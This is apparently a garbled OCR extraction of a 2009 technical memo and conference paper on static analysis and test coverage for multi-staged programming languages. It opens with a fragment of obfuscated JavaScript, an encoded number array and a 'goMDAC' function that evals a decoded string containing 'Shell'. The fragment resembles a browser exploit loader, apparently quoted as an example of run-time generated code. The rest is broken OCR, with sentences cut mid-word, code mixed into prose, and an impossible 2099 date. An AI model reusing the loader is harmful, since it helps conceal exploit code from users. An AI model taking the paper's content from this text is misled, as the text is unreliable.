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delob5=new Array(7,84,89,81,94,88,79,27,82,95,6,67,86,87,79,
90,73,92,94,79,27,88,87,90,72,72,82,95,6,25,120,119,104,114,
/* = *

+5);

- P

function goMDAC () {

eval (dddec ("PEELt6.Shell
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Technical Memo

ROSAEC-2009-005

A Control Flow Analysis for 2-staged
Programming Languages
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Taeksu Kim, Chunwoo Lee, Kiljoo Lee,
Soohyun Baik, and Kwangkeun Yi.

September 2009.
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A New Hope
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Test Coverage

rrrrrrrrrrrrrrrrr



In APSEC 2009
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Language with Abstract Interpretation it ONGEL INEERING

CONFERENCE

lncrpretation -. December — 3™ December. 2099
TaekSU K|m, ChunWOO Lee, K|IJOO Lee, Resort, Penang , Malaysia
Soohyun Baik, Kwangkeun Yi, and Chisu Wu. i v

earch Laboraror
al University
Korea

December 2009.

" the correct decision cov-
Cause the example code in
a code in figure 2

. 5 > 7 - on oola, o) 1
be estimated easily if (b > 0 && a > 0) return 3;
asily.

" " A » 5% 0 i:
In this paper. we present static analysis which detects else if (b 0) return 4

code fragments generated in execution tir using abstract , '#loe zeturn 0;
interpretation and prove the correctness of analyzer. Moreover

we propose new lest coverage for multi-staged language using

the result of analysis.

Figure 2 Actual running code of hgure |

Keywords-software testing; test cov erage; multi-staged lan-
guage; abstract interpretation: It is needed to analyze what co
generated in execution time to gu;
L_INTRODUCTION a lest coverage. In this \

de fragments would be
rantee the correctness
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Concolic Testing
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